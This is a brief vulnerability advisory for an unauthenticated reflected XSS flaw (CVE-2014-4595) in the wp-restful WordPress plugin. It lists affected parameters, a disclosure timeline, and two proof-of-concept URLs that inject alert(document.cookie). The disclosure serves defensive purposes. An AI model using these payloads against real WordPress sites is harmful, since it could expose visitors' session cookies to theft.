Plugin Details
Plugin Name: wp-plugin : wp-restful
Effected Version : 0.1 (and most probably lower version's if any)
Vulnerability : Cross-Site Scripting (XSS)
Minimum Level of Access Required : Unauthenticated
CVE Number : CVE-2014-4595
Identified by : Anantshri
Disclosure Timeline
-
January 17, 2014: Vendor Contacted
- June 12, 2014 : Public Disclosure
Technical Details
http://localhost/wp-content/plugins/wp-restful/html_api_authorize.php?oauth_callback=oauth_callback'>alert(document.cookie)&
http://localhost/wp-content/plugins/wp-restful/html_api_login.php?oauth_token_temp=">alert(document.cookie)&oauth_callback_temp=">alert(document.cookie)&
Vulnerable Parameter : oauth_callback, oauth_token_temp, oauth_callback_temp